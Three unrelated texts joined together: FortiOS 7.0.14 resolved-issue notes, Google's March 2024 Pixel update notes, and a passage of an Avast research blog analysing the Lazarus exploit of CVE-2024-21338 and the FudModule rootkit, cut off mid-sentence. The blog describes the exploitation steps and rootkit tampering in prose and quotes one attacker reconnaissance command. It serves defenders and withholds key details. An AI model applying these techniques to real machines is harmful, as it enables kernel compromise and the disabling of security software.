cases, carrier-grade NAT is dropping traffic. 984852 The HA/AUX ports are not enabled on boot up when using the NPU path option. Intrusion Prevention Bug ID Description 923393 IPS logs show incorrect source and destination IP addresses and policy IDs, and the ports are zeros. IPsec VPN Bug ID Description 897867 IPsec VPN between two FortiGates (100F and 60F) experiences slow throughput compared to the available underlay bandwidth. 898961 diagnose traffictest issues with dynamic IP addresses and loopback interfaces. 914418 File transfer stops after a while when offloading is enabled. 921691 In FGSP, IKE routes are not removed from the kernel when secondary-add-ipsec-routes is disabled. 926002 Incorrect traffic order in IPsec aggregate redundant member list after upgrade. 945873 Inconsistency of mode-cfg between phase 1 assigned IP address and destination selector addition. 950012 IPsec tunnels stuck on NP6XLite spoke drop the ESP packet. 950445 After a third-party router failover, traffic traversing the IPsec tunnel is lost. 961305 FortiGate is sending ESP packets with source MAC address of port1 HA virtual MAC address. 968218 When the IPsec tunnel destination MAC address is changed, tunnel traffic may stop. Log & Report Bug ID Description 940814 Administrators without read permissions for the threat weight feature cannot see the event log menu. 954565 Although there is enough disk space for logging, IPS archive full message is shown. 965247 FortiGate syslog format in reliable transport mode is not compliant with RFC 6587. 967692 The received traffic counter is not increasing when the traffic is HTTPS with webfilter. 987261 In the webfilter content block UTM log in proxy inspection mode, sentbyte and rcvdbyte are zero. Proxy Bug ID Description 790426 An error case occurs in WAD while redirecting the web filter HTTPS sessions. 806556 Unexpected behavior in WAD when the ALPN is set to http2 in the ssl-ssh-profile. 828917, 919781 Unexpected behavior in WAD when there are multiple LDAP servers configured on the FortiGate. 845361 A rare error condition occurred in WAD caused by compounded SMB2 requests. 940149 Inadvertent traffic disruption caused by WAD when it receives an HTTP2 data frame payload on a dead stream. 947814 Too many redirects on TWPP after the second KRB keytab is configured. 954104 An error case occurs in WAD when WAD gets the external authenticated users from other daemons. Routing Bug ID Description 781483 Incorrect BGP Originator_ID from route reflector seen on receiving spokes. 890954 The change of an IPv6 route does not mark sessions as dirty nor trigger a route change. 897666 Issue with SD-WAN rule for FortiGuard. 914815 FortiGate 40F-3G4G not adding LTE dynamic route to route table. 926525 Routing information changed log is being generated from secondary in an HA cluster. 952908 Locally originated type 5 and 7 LSAs' forward address value is incorrect. 954100 Packet loss status in SD-WAN health check occur after an HA failover. Security Fabric Bug ID Description 782518 Threat feeds are showing that the connection status has not started when it should be connected. 841364 Cisco APIC SDN update times out on large datasets. 956423 In HA, the primary unit may sometimes show a blank GUI screen. SSL VPN Bug ID Description 894704 FortiOS check would block iOS and Android mobile devices from connecting to the SSL VPN tunnel. 898889 The internal website does not load completely with SSL VPN web mode. 906756 Update SSL VPN host check logic for unsupported OS. 957406 OS checklist for SSL VPN in FortiOS does not include macOS Sonoma 14. Switch Controller Bug ID Description 816790 Console printed DSL related error messages when disconnecting the managed FortiSwitch and connecting to the FortiGate again. 858749 Redirected traffic should not hit the firewall policy when allow-traffic-redirect is enabled. 911232 Security rating shows an incorrect warning for unregistered FortiSwitches on the WiFi & Switch Controller > Managed FortiSwitches. 937065 An exported FortiSwitch port is not correctly showing up/down status. System Bug ID Description 631046 diagnose sys logdisk smart does not work for NVMe disk models. 733096 FG-100F HA secondary's unused ports flaps from down to up, then to down. 763739 On FG-200F, the Outbound bandwidth in the Bandwidth widget does not match outbandwidth setting. 861661 SNMP OID 1.3.6.1.2.1.4.32 ipAddressPrefixTable is not available. 882187 FortiGate enters conserve mode in a few hours after enabling UTM on the policies. 888655 FortiGate queries system DNS for A <Root> and AAAA <Root> servers. 894045 Sensor information widget continuously loading. 909225 ISP traffic is failing with the LAG interfaces on upstream switches. 910700 Ports are flapping and down on the FortiGate 3980E. 912092 FortiGate does not send ARP probe for UDP NP-offloaded sessions. 916493 Fail detection function does not work properly on X1 and X2 10G ports. 919901 For FIPS-CC mode, the strict check for basic constraints should be removed for end entity certificates. 926817 Review the temperature sensor for the SoC4 system. 929904 When L3 or L4 hashing algorithm is used, traffic is not forwarded over the same aggregate member after being offloaded by NP7. 937982 High CPU usage might be observed on entry-level FortiGates if the cache size reaches 10% of the system memory. 938174 ARP issue with VXLAN over IPsec and Soft Switch. 938981 The virtual server http-host algorithm is redirecting requests to an unexpected server. 943948 FortiGate as L2TP client is not working with Cisco ASR as L2TP server. 946413 Temperature sensor value missing for FG-180xF, FG-420xF, and FG-440xF platforms.F 947240 FortiGate is not able to resolve ARPs of few hosts due to their ARP replies not reaching the primary FPM. 955074 MSS clamping is not working on VXLAN over IPsec after upgrading. 960707 Egress shaping does not work on NP when applied on the WAN interface. 962153 A port that uses a copper-transceiver does not update the link status in real-time. 963600 SolarWinds unable to negotiate encryption, no matching host key type found. 966761 SNMP OID 1.3.6.1.2.1.4.34.1.5 ipAddressPrefix is not fully implemented. 971404 Session expiration does not get updated for offloaded traffic between a specific host range. 977231 An error condition occurred in fgfm caused by an out-of-band management configuration. User & Authentication Bug ID Description 837185 Automatic certificate name generation is the same for global and VDOM remote certificates, which can cause certificates to exist with the same name. 864703 ACME client fails to work with some CA servers. 868994 FortiGate receives FSSO user in the format of HOSTNAME$. VM Bug ID Description 938382 OpenStack Queens FortiGate VM HA heartbeat on broadcast is not working as expected. 968740 Unexpected behavior in awsd caused by tags with an empty value on AWS instances while adding a new AWS Fabric connector. WAN Optimization Bug ID Description 954541 In WANOpt transparent mode, WAN optimization does not keep the original source address of the packets. Web Filter Bug ID Description 925801 Custom Images are not seen on Web Filter block replacement page for HTTP traffic in flow mode. 982156 The URL local/user category rating result has only one best match category (longest URL pattern match), and other matched local/user categories cannot be chosen even if the category is configured in the profile. WiFi Controller Bug ID Description 874997 Fetching the registration status does not always work. Common Vulnerabilities and Exposures Visit https://fortiguard.com/psirt for more information. Bug ID CVE references 956553 FortiOS 7.0.14 is no longer vulnerable to the following CVE Reference: CVE-2024-23112 959918 FortiOS 7.0.14 is no longer vulnerable to the following CVE Reference: CVE-2023-38545 989429 FortiOS 7.0.14 is no longer vulnerable to the following CVE Reference: CVE-2024-21762 993323 FortiOS 7.0.14 is no longer vulnerable to the following CVE Reference: CVE-2024-23113

Google Pixel Update - Mar 2024 Hello Pixel Community, We have provided the monthly software update for March 2024. All supported Pixel devices running Android 14 will receive these software updates starting today. The rollout will continue over the next week in phases depending on carrier and device. Software for US Carriers will be available starting next week. Users will receive a notification once the OTA is available for their device. We encourage you to check your Android version and update to receive the latest software. Details of this month’s security fixes can be found on the Android Security Bulletin: https://source.android.com/security/bulletin Thanks, Google Pixel Support Team Software versions Global Pixel 5a (5G): AP1A.240305.019.A1 Pixel 6: AP1A.240305.019.A1 Pixel 6 Pro: AP1A.240305.019.A1 Pixel 6a: AP1A.240305.019.A1 Pixel 7: AP1A.240305.019.A1 Pixel 7 Pro: AP1A.240305.019.A1 Pixel 7a: AP1A.240305.019.A1 Pixel Tablet: AP1A.240305.019.A1 Pixel Fold: AP1A.240305.019.A1 Pixel 8: AP1A.240305.019.A1 Pixel 8 Pro: AP1A.240305.019.A1 What’s included The March 2024 update includes bug fixes and improvements for Pixel users – see below for details. Apps General improvements for stability and performance with certain system apps *[4] Assistant Fix for assistant not responding to verbal commands in certain conditions *[11] Biometrics General improvements for fingerprint recognition and response in certain conditions *[3] Bluetooth Fix for audio quality issue with connected bluetooth devices under certain conditions *[3] Fix for issue causing Bluetooth to stop functioning under certain conditions *[6] Camera Fix for issue causing camera to stop functioning in certain conditions *[8] Display & Graphics Fix for brightness changes in photo and video under certain conditions *[8] Fix for issue occasionally causing display to turn green in certain conditions *[8] General improvements to display stability and performance in certain conditions *[11] Framework Fix for issue in launching Google Play store app under certain conditions *[4] Fix for issue in using multi-finger gestures under certain conditions *[3] General improvements for system stability and performance in certain conditions *[6] Media Fix for issue in playing video on Google TV under certain conditions *[5] Sensors Fix for issue causing vibrations on new texts to stop working in certain conditions *[3] Fix for issue occasionally causing vibrations on new texts to stop working in certain conditions *[2] System General improvements for system stability and performance in certain conditions *[1] Telephony Fix for issue in routing calls to connected bluetooth devices under certain conditions *[9] Fix for issue occasionally occurring when WiFi icon shows during an ongoing call after WiFi is disabled. *[2] Fix for issue unable to make or receive calls occasionally in certain conditions *[4] Fix for issue with mobile data not switching correctly in certain conditions *[2] Fix for issue with voice distortion when making calls *[7] User Interface Additional improvements for face unlock stability in certain conditions *[3] Fix for issue causing game dashboard to stop functioning under certain conditions *[9] Fix for issue occasionally causing home screen icons to appear invisible *[4] Fix for issue occasionally causing the wallpaper to get stuck or go dark *[12] Fix for issue with animations during transitions in certain conditions*[13] Fix for issue with incorrect app icons showing under certain conditions *[6] Fix for issue with incorrect internet connection status during transitions in certain conditions *[4] Fix for issue with layouts and animations during transitions in certain conditions *[4] Fix for issue with the notification color theme in certain conditions *[10] Fix for taskbar icons and navigation buttons not working in certain conditions *[14] General improvements for performance and stability in certain UI transitions and animations *[4] General improvements for performance in certain UI transitions *[8] Wi-Fi General improvements for WiFi connection stability and performance in certain conditions*[11] --------------------------------------------------------------------------------------------------------------- Device Applicability Fixes are available for all supported Pixel devices unless otherwise indicated below. Some fixes may be Carrier/Region specific. *[1] Pixel 5a (5G), Pixel 6, Pixel 6 Pro, Pixel 6a, Pixel 7, Pixel 7 Pro, Pixel 7a, Pixel 8, Pixel 8 Pro, Pixel Fold *[2] Pixel 6, Pixel 6a, Pixel 6 Pro *[3] Pixel 6, Pixel 6 Pro, Pixel 6a, Pixel 7, Pixel 7 Pro, Pixel 7a, Pixel 8, Pixel 8 Pro *[4] Pixel 6, Pixel 6 Pro, Pixel 6a, Pixel 7, Pixel 7 Pro, Pixel 7a, Pixel 8, Pixel 8 Pro, Pixel Fold *[5] Pixel 6, Pixel 6 Pro, Pixel 6a, Pixel 7, Pixel 7 Pro, Pixel 7a, Pixel 8, Pixel 8 Pro, Pixel Tablet *[6] Pixel 6, Pixel 6 Pro, Pixel 6a, Pixel 7, Pixel 7 Pro, Pixel 7a, Pixel 8, Pixel 8 Pro, Pixel Fold, Pixel Tablet *[7] Pixel 7a *[8] Pixel 7, Pixel 7 Pro, Pixel 7a, Pixel 8, Pixel 8 Pro *[9] Pixel 7, Pixel 7 Pro, Pixel 7a, Pixel 8, Pixel 8 Pro, Pixel Fold *[10] Pixel 7, Pixel 7 Pro, Pixel 7a, Pixel 8, Pixel 8 Pro, Tablet *[11] Pixel 8, Pixel 8 Pro *[12] Pixel 8, Pixel 8 Pro, Pixel Fold *[13] Pixel Fold, Pixel Tablet *[14] Pixel Tablet https://support.google.com/pixelphone/thread/262118597/google-pixel-update-mar-2024?hl=en

Key Points Avast discovered an in-the-wild admin-to-kernel exploit for a previously unknown zero-day vulnerability in the appid.sys AppLocker driver. Thanks to Avast’s prompt report, Microsoft addressed this vulnerability as CVE-2024-21338 in the February Patch Tuesday update. The exploitation activity was orchestrated by the notorious Lazarus Group, with the end goal of establishing a kernel read/write primitive. This primitive enabled Lazarus to perform direct kernel object manipulation in an updated version of their data-only FudModule rootkit, a previous version of which was analyzed by ESET and AhnLab. After completely reverse engineering this updated rootkit variant, Avast identified substantial advancements in terms of both functionality and stealth, with four new – and three updated – rootkit techniques. In a key advancement, the rootkit now employs a new handle table entry manipulation technique in an attempt to suspend PPL (Protected Process Light) protected processes associated with Microsoft Defender, CrowdStrike Falcon, and HitmanPro. Another significant step up is exploiting the zero-day vulnerability, where Lazarus previously utilized much noisier BYOVD (Bring Your Own Vulnerable Driver) techniques to cross the admin-to-kernel boundary. Avast’s investigation also recovered large parts of the infection chain leading up to the deployment of the rootkit, resulting in the discovery of a new RAT (Remote Access Trojan) attributed to Lazarus. Technical details concerning the RAT and the initial infection vector will be published in a follow-up blog post, scheduled for release along with our Black Hat Asia 2024 briefing. Introduction When it comes to Windows security, there is a thin line between admin and kernel. Microsoft’s security servicing criteria have long asserted that “[a]dministrator-to-kernel is not a security boundary”, meaning that Microsoft reserves the right to patch admin-to-kernel vulnerabilities at its own discretion. As a result, the Windows security model does not guarantee that it will prevent an admin-level attacker from directly accessing the kernel. This isn’t just a theoretical concern. In practice, attackers with admin privileges frequently achieve kernel-level access by exploiting known vulnerable drivers, in a technique called BYOVD (Bring Your Own Vulnerable Driver). Microsoft hasn’t given up on securing the admin-to-kernel boundary though. Quite the opposite, it has made a great deal of progress in making this boundary harder to cross. Defense-in-depth protections, such as DSE (Driver Signature Enforcement) or HVCI (Hypervisor-Protected Code Integrity), have made it increasingly difficult for attackers to execute custom code in the kernel, forcing most to resort to data-only attacks (where they achieve their malicious objectives solely by reading and writing kernel memory). Other defenses, such as driver blocklisting, are pushing attackers to move to exploiting less-known vulnerable drivers, resulting in an increase in attack complexity. Although these defenses haven’t yet reached the point where we can officially call admin-to-kernel a security boundary (BYOVD attacks are still feasible, so calling it one would just mislead users into a false sense of security), they clearly represent steps in the right direction. From the attacker’s perspective, crossing from admin to kernel opens a whole new realm of possibilities. With kernel-level access, an attacker might disrupt security software, conceal indicators of infection (including files, network activity, processes, etc.), disable kernel-mode telemetry, turn off mitigations, and more. Additionally, as the security of PPL (Protected Process Light) relies on the admin-to-kernel boundary, our hypothetical attacker also gains the ability to tamper with protected processes or add protection to an arbitrary process. This can be especially powerful if lsass is protected with RunAsPPL as bypassing PPL could enable the attacker to dump otherwise unreachable credentials. For more specific examples of what an attacker might want to achieve with kernel-level access, keep reading this blog – in the latter half, we will dive into all the techniques implemented in the FudModule rootkit. Living Off the Land: Vulnerable Drivers Edition With a seemingly growing number of attackers seeking to abuse some of the previously mentioned kernel capabilities, defenders have no choice but to hunt heavily for driver exploits. Consequently, attackers wishing to target well-defended networks must also step up their game if they wish to avoid detection. We can broadly break down admin-to-kernel driver exploits into three categories, each representing a trade-off between attack difficulty and stealth. N-Day BYOVD Exploits In the simplest case, an attacker can leverage BYOVD to exploit a publicly known n-day vulnerability. This is very easy to pull off, as there are plenty of public proof-of-concept exploits for various vulnerabilities. However, it’s also relatively straightforward to detect since the attacker must first drop a known vulnerable driver to the file system and then load it into the kernel, resulting in two great detection opportunities. What’s more, some systems may have Microsoft’s vulnerable driver blocklist enabled, which would block some of the most common vulnerable drivers from loading. Previous versions of the FudModule rootkit could be placed in this category, initially exploiting a known vulnerability in dbutil_2_3.sys and then moving on to targeting ene.sys in later versions. Zero-Day BYOVD Exploits In more sophisticated scenarios, an attacker would use BYOVD to exploit a zero-day vulnerability within a signed third-party driver. Naturally, this requires the attacker to first discover such a zero-day vulnerability, which might initially seem like a daunting task. However, note that any exploitable vulnerability in any signed driver will do, and there is unfortunately no shortage of low-quality third-party drivers. Therefore, the difficulty level of discovering such a vulnerability might not be as high as it would initially seem. It might suffice to scan a collection of drivers for known vulnerability patterns, as demonstrated by Carbon Black researchers who recently used bulk static analysis to uncover 34 unique vulnerabilities across more than 200 signed drivers. Such zero-day BYOVD attacks are notably stealthier than n-day attacks since defenders can no longer rely on hashes of known vulnerable drivers for detection. However, some detection opportunities still remain, as loading a random driver represents a suspicious event that might warrant deeper investigation. For an example of an attack belonging to this category, consider the spyware vendor Candiru, which we caught exploiting a zero-day vulnerability in hw.sys for the final privilege escalation stage of their browser exploit chain. Beyond BYOVD Finally, the holy grail of admin-to-kernel is going beyond BYOVD by exploiting a zero-day in a driver that’s known to be already installed on the target machine. To make the attack as universal as possible, the most obvious target here would be a built-in Windows driver that’s already a part of the operating system. Discovering an exploitable vulnerability in such a driver is significantly more challenging than in the previous BYOVD scenarios for two reasons. First, the number of possible target drivers is vastly smaller, resulting in a much-reduced attack surface. Second, the code quality of built-in drivers is arguably higher than that of random third-party drivers, making vulnerabilities much more difficult to find. It’s also worth noting that – while patching tends to be ineffective at stopping BYOVD attacks (even if a vendor patches their driver, the attacker can still abuse the older, unpatched version of the driver) – patching a built-in driver will make the vulnerability no longer usable for this kind of zero-day attacks. If an attacker, despite all of these hurdles, manages to exploit a zero-day vulnerability in a built-in driver, they will be rewarded with a level of stealth that cannot be matched by standard BYOVD exploitation. By exploiting such a vulnerability, the attacker is in a sense living off the land with no need to bring, drop, or load any custom drivers, making it possible for a kernel attack to be truly fileless. This not only evades most detection mechanisms but also enables the attack on systems where driver allowlisting is in place (which might seem a bit ironic, given that CVE-2024-21338 concerns an AppLocker driver). While we can only speculate on Lazarus’ motivation for choosing this third approach for crossing the admin-to-kernel boundary, we believe that stealth was their primary motivation. Given their level of notoriety, they would have to swap vulnerabilities any time someone burned their currently used BYOVD technique. Perhaps they also reasoned that, by going beyond BYOVD, they could minimize the need for swapping by staying undetected for longer. CVE-2024-21338 As far as zero-days go, CVE-2024-21338 is relatively straightforward to both understand and exploit. The vulnerability resides within the IOCTL (Input and Output Control) dispatcher in appid.sys, which is the central driver behind AppLocker, the application whitelisting technology built into Windows. The vulnerable control code 0x22A018 is designed to compute a smart hash of an executable image file. This IOCTL offers some flexibility by allowing the caller to specify how the driver should query and read the hashed file. The problem is, this flexibility is achieved by expecting two kernel function pointers referenced from the IOCTL’s input buffer: one containing a callback pointer to query the hashed file’s size and the other a callback pointer to read the data to be hashed. Since user mode would typically not be handling kernel function pointers, this design suggests the IOCTL may have been initially designed to be invoked from the kernel. Indeed, while we did not find any legitimate user-mode callers, the IOCTL does get invoked by other AppLocker drivers. For instance, there is a ZwDeviceIoControlFile call in applockerfltr.sys, passing SmpQueryFile and SmpReadFile for the callback pointers. Aside from that, appid.sys itself also uses this functionality, passing AipQueryFileHandle and AipReadFileHandle (which are basically just wrappers over ZwQueryInformationFile and ZwReadFile, respectively). Despite this design, the vulnerable IOCTL remained accessible from user space, meaning that a user-space attacker could abuse it to essentially trick the kernel into calling an arbitrary pointer. What’s more, the attacker also partially controlled the data referenced by the first argument passed to the invoked callback function. This presented an ideal exploitation scenario, allowing the attacker to call an arbitrary kernel function with a high degree of control over the first argument. A WinDbg session with the triggered vulnerability, traced to the arbitrary callback invocation. Note that the attacker controls both the function pointer to be called (0xdeadbeefdeadbeef in this session) and the data pointed to by the first argument (0xbaadf00dbaadf00d). If exploitation sounds trivial, note that there are some constraints on what pointers this vulnerability allows an attacker to call. Of course, in the presence of SMEP (Supervisor Mode Execution Prevention), the attacker cannot just supply a user-mode shellcode pointer. What’s more, the callback invocation is an indirect call that may be safeguarded by kCFG (Kernel Control Flow Guard), requiring that the supplied kernel pointers represent valid kCFG call targets. In practice, this does not prevent exploitation, as the attacker can just find some kCFG-compliant gadget function that would turn this into another primitive, such as a (limited) read/write. There are also a few other constraints on the IOCTL input buffer that must be solved in order to reach the vulnerable callback invocation. However, these too are relatively straightforward to satisfy, as the attacker only needs to fake some kernel objects and supply the right values so that the IOCTL handler passes all the necessary checks while at the same time not crashing the kernel. The vulnerable IOCTL is exposed through a device object named \Device\AppId. Breaking down the 0x22A018 control code and extracting the RequiredAccess field reveals that a handle with write access is required to call it. Inspecting the device’s ACL (Access Control List; see the screenshot below), there are entries for local service, administrators, and appidsvc. While the entry for administrators does not grant write access, the entry for local service does. Therefore, to describe CVE-2024-21338 more accurately, we should label it local service-to-kernel rather than admin-to-kernel. It’s also noteworthy that appid.sys might create two additional device objects, namely \Device\AppidEDPPlugin and \Device\SrpDevice. Although these come with more permissive ACLs, the vulnerable IOCTL handler is unreachable through them, rendering them irrelevant for exploitation purposes. Access control entries of \Device\AppId, revealing that while local service is allowed write access, administrators are not. As the local service account has reduced privileges compared to administrators, this also gives the vulnerability a somewhat higher impact than standard admin-to-kernel. This might be the reason Microsoft characterized the CVE as Privileges Required: Low, taking into account that local service processes do not always necessarily have to run at higher integrity levels. However, for the purposes of this blog, we still chose to refer to CVE-2024-21338 mainly as an admin-to-kernel vulnerability because we find it better reflects how it was used in the wild – Lazarus was already running with elevated privileges and then impersonated the local service account just prior to calling the IOCTL. The vulnerability was introduced in Win10 1703 (RS2/15063) when the 0x22A018 IOCTL handler was first implemented. Older builds are not affected as they lack support for the vulnerable IOCTL. Interestingly, the Lazarus exploit bails out if it encounters a build older than Win10 1809 (RS5/17763), completely disregarding three perfectly vulnerable Windows versions. As for the later versions, the vulnerability extended all the way up to the most recent builds, including Win11 23H2. There have been some slight changes to the IOCTL, including an extra argument expected in the input buffer, but nothing that would prevent exploitation. We developed a custom PoC (Proof of Concept) exploit and submitted it in August 2023 as part of a vulnerability report to Microsoft, leading to an advisory for CVE-2024-21338 in the February Patch Tuesday update. The update addressed the vulnerability by adding an ExGetPreviousMode check to the IOCTL handler (see the patch below). This aims to prevent user-mode initiated IOCTLs from triggering the arbitrary callbacks. The patched IOCTL handler. If feature 2959575357 is enabled, attempts to call the IOCTL with PreviousMode==UserMode should immediately result in STATUS_INVALID_DEVICE_REQUEST, failing to even reach AipSmartHashImageFile. Though the vulnerability may only barely meet Microsoft’s security servicing criteria, we believe patching was the right choice and would like to thank Microsoft for eventually addressing this issue. Patching will undoubtedly disrupt Lazarus’ offensive operations, forcing them to either find a new admin-to-kernel zero-day or revert to using BYOVD techniques. While discovering an admin-to-kernel zero-day may not be as challenging as discovering a zero-day in a more attractive attack surface (such as standard user-to-kernel, or even sandbox-to-kernel), we believe that finding one would still require Lazarus to invest significant resources, potentially diverting their focus from attacking some other unfortunate targets. Exploitation The Lazarus exploit begins with an initialization stage, which performs a one-time setup for both the exploit and the rootkit (both have been compiled into the same module). This initialization starts by dynamically resolving all necessary Windows API functions, followed by a low-effort anti-debug check on PEB.BeingDebugged. Then, the exploit inspects the build number to see if it’s running on a supported Windows version. If so, it loads hardcoded constants tailored to the current build. Interestingly, the choice of constants sometimes comes down to the update build revision (UBR), showcasing a high degree of dedication towards ensuring that the code runs cleanly across a wide range of target machines. A decompiled code snippet, loading version-specific hardcoded constants. This particular example contains offsets and syscall numbers for Win10 1809. The initialization process then continues with leaking the base addresses of three kernel modules: ntoskrnl, netio, and fltmgr. This is achieved by calling NtQuerySystemInformation using the SystemModuleInformation class. The KTHREAD address of the currently executing thread is also leaked in a similar fashion, by duplicating the current thread pseudohandle and then finding the corresponding kernel object address using the SystemExtendedHandleInformation system information class. Finally, the exploit manually loads the ntoskrnl image into the user address space, only to scan for relative virtual addresses (RVAs) of some functions of interest. Since the appid.sys driver does not have to be already loaded on the target machine, the exploit may first have to load it itself. It chooses to accomplish this in an indirect way, by writing an event to one specific AppLocker-related ETW (Event Tracing for Windows) provider. Once appid.sys is loaded, the exploit impersonates the local service account using a direct syscall to NtSetInformationThread with the ThreadImpersonationToken thread information class. By impersonating local service, it can now obtain a read/write handle to \Device\AppId. With this handle, the exploit finally prepares the IOCTL input buffer and triggers the vulnerability using the NtDeviceIoControlFile syscall. Direct syscalls are heavily used throughout the exploit. The exploit crafts the IOCTL input buffer in such a way that the vulnerable callback is essentially a gadget that performs a 64-bit copy from the IOCTL input buffer to an arbitrary target address. This address was chosen to corrupt the PreviousMode of the current thread. By ensuring the corresponding source byte in the IOCTL input buffer is zero, the copy will clear the PreviousMode field, effectively resulting in its value being interpreted as KernelMode. Targeting PreviousMode like this is a widely popular exploitation technique, as corrupting this one byte in the KTHREAD structure bypasses kernel-mode checks inside syscalls such as NtReadVirtualMemory or NtWriteVirtualMemory, allowing a user-mode attacker to read and write arbitrary kernel memory. Note that while this technique was mitigated on some Windows Insider Builds, this mitigation has yet to reach general availability at the time of writing. Interestingly, the exploit may attempt to trigger the vulnerable IOCTL twice. This is due to an extra argument that was added in Win11 22H2. As a result, the IOCTL handler on newer builds expects the input buffer to be 0x20 bytes in size while, previously, the expected size was only 0x18. Rather than selecting the proper input buffer size for the current build, the exploit just tries calling the IOCTL twice: first with an input buffer size 0x18 then – if not successful – with 0x20. This is a valid approach since the IOCTL handler’s first action is to check the input buffer size, and if it doesn’t match the expected size, it would just immediately return STATUS_INVALID_PARAMETER. To check if it was successful, the exploit employs the NtWriteVirtualMemory syscall, attempting to read the current thread’s PreviousMode (Lazarus avoids using NtReadVirtualMemory, more on this later). If the exploit succeeded, the syscall should return STATUS_SUCCESS, and the leaked PreviousMode byte should equal 0 (meaning KernelMode). Otherwise, the syscall should return an error status code, as it should be impossible to read kernel memory without a corrupted PreviousMode. In our exploit analysis, we deliberately chose to omit some key details, such as the choice of the callback gadget function. This decision was made to strike the right balance between helping defenders with detection but not making exploitation too widely accessible. For those requiring more information for defensive purposes, we may be able to share additional details on a case-by-case basis. The FudModule Rootkit The entire goal of the admin-to-kernel exploit was to corrupt the current thread’s PreviousMode. This allows for a powerful kernel read/write primitive, where the affected user-mode thread can read and write arbitrary kernel memory using the Nt(Read|Write)VirtualMemory syscalls. Armed with this primitive, the FudModule rootkit employs direct kernel object manipulation (DKOM) techniques to disrupt various kernel security mechanisms. It’s worth reiterating that FudModule is a data-only rootkit, meaning it executes entirely from user space and all the kernel tampering is performed through the read/write primitive. The first variants of the FudModule rootkit were independently discovered by AhnLab and ESET research teams, with both publishing detailed analyses in September 2022. The rootkit was named after the FudModule.dll string used as the name in its export table. While this artifact is not present anymore, there is no doubt that what we found is an updated version of the same rootkit. AhnLab’s report documented a sample from early 2022, which incorporated seven data-only rootkit techniques and was enabled through a BYOVD exploit for ene.sys. ESET’s report examined a slightly earlier variant from late 2021, also featuring seven rootkit techniques but exploiting a different BYOVD vulnerability in dbutil_2_3.sys. In contrast, our discovery concerns a sample featuring nine rootkit techniques and exploiting a previously unknown admin-to-kernel vulnerability. Out of these nine techniques, four are new, three are improved, and two remain unchanged from the previous variants. This leaves two of the original seven techniques, which have been deprecated and are no longer present in the latest variant. Each rootkit technique is assigned a bit, ranging from 0x1 to 0x200 (the 0x20 bit is left unused in the current variant). FudModule executes the techniques sequentially, in an ascending order of the assigned bits. The bits are used to report on the success of the individual techniques. During execution, FudModule will construct an integer value (named bitfield_techniques in the decompilation below), where only the bits corresponding to successfully executed techniques will be set. This integer is ultimately written to a file named tem1245.tmp, reporting on the rootkit’s success. Interestingly, we did not find this filename referenced in any other Lazarus sample, suggesting the dropped file is only inspected through hands-on-keyboard activity, presumably through a RAT (Remote Access Trojan) command. This supports our beliefs that FudModule is only loosely integrated into the rest of Lazarus’ malware ecosystem and that Lazarus is very careful about using the rootkit, only deploying it on demand under the right circumstances. The rootkit’s “main” function, executing the individual rootkit techniques. Note the missing 0x20 technique. Based on the large number of updates, it seems that FudModule remains under active development. The latest variant appears more robust, avoiding some potentially problematic practices from the earlier variants. Since some techniques target undocumented kernel internals in a way that we have not previously encountered, we believe that Lazarus must be conducting their own kernel research. Further, though the rootkit is certainly technically sophisticated, we still identified a few bugs here and there. These may either limit the rootkit’s intended functionality or even cause kernel bug checks under the right conditions. While we find some of these bugs very interesting and would love to share the details, we do not enjoy the idea of providing free bug reports to threat actors, so we will hold onto them for now and potentially share some information later if the bugs get fixed. Interestingly, FudModule utilizes the NtWriteVirtualMemory syscall for both reading and writing kernel memory, eliminating the need to call NtReadVirtualMemory. This leverages the property that, when limited to a single virtual address space, NtReadVirtualMemory and NtWriteVirtualMemory are basically inverse operations with respect to the values of the source Buffer and the destination BaseAddress arguments. In other words, writing to kernel memory can be thought of as writing from a user-mode Buffer to a kernel-mode BaseAddress, while reading from kernel memory could be conversely achieved by swapping arguments, that is writing from a kernel-mode Buffer to a user-mode BaseAddress. Lazarus’ implementation takes advantage of this, which seems to be an intentional design decision since most developers would likely prefer the more straightforward way of using NtReadVirtualMemory for reading kernel memory and NtWriteVirtualMemory for writing kernel memory. We can only guess why Lazarus chose this approach, but this might be yet another stealth-enhancing feature. With their implementation, they only must use one suspicious syscall instead of two, potentially reducing the number detection opportunities. Debug Prints Before we delve into the actual rootkit techniques, there is one last thing worth discussing. To our initial surprise, Lazarus left a handful of plaintext debug prints in the compiled code. Such prints are typically one of the best things that can happen to a malware researcher, because they tend to accelerate the reverse engineering process significantly. In this instance, however, some of the prints had the opposite effect, sometimes even making us question if we understood the code correctly. As an example, let us mention the string get rop function addresses failed. Assuming rop stands for return-oriented programming, this string would make perfect sense in the context of exploitation, if not for the fact that not a single return address was corrupted in the exploit. Plaintext debug strings found in the rootkit. The term vaccine is used to refer to security software. While written in English, the debug strings suggest their authors are not native speakers, occasionally even pointing to their supposed Korean origin. This is best seen on the frequent usage of the term vaccine throughout the rootkit. This had us scratching our heads at first, because it was unclear how vaccines would relate to the rootkit functionality. However, it soon became apparent that the term was used to refer to security software. This might originate from a common Korean translation of antivirus (바이러스 백신), a compound word with the literal meaning virus vaccine. Note that even North Korea’s “own” antivirus was called SiliVaccine, and to the best of our knowledge, the term vaccine would not be used like this in other languages such as Japanese. Additionally, this is not the first time Korean-speaking threat actors have used this term. For instance, AhnLab’s recent report on Kimsuky mentions the following telltale command: cmd.exe /U /c wmic /namespace:\\root\securitycenter2 path antivirusproduct get displayname > vaccine.txt Another puzzle is the abbreviation pvmode, which we believe refers to PreviousMode. A Google search for pvmode yields exactly zero relevant results, and we suspect most English speakers would choose different abbreviations, such as prvmode or prevmode. However, after consulting this with language experts, we learned that using the abbreviation pvmode would be unusual for Korean speakers too. Finally, there is also the debug message disableV3Protection passed. Judging from the context, the rather generic term V3 here refers to AhnLab V3 Endpoint Security. Considering the geopolitical situation, North Korean hacker groups are likely well-acquainted with South Korean AhnLab, so it would make perfect sense that they internally refer to them using such a non-specific shorthand. 0x01 – Registry Callbacks The first rootkit technique is designed to address registry callbacks. This is a documented Windows mechanism which allows security solutions to monitor registry operations. A security solution’s kernel-mode component can call the CmRegisterCallbackEx routine to register a callback, which gets notified whenever a registry operation is performed on the system. What’s more, since the callback is invoked synchronously, before (or after) the actual operation is performed, the callback can even block or modify forbidden/malicious operations. FudModule’s goal here is to remove existing registry callbacks and thus disrupt security solutions that rely on this mechanism. The callback removal itself is performed by directly modifying some internal data structures managed by the kernel. This was also the case in the previous version, as documented by ESET and AhnLab. There, the rootkit found the address of nt!CallbackListHead (which contains a doubly linked, circular list of all existing registry callbacks) and simply emptied it by pointing it to itself. In the current version of FudModule, this technique was improved to leave some selected callbacks behind, perhaps making the rootkit stealthier. This updated version starts the same as the previous one: by finding 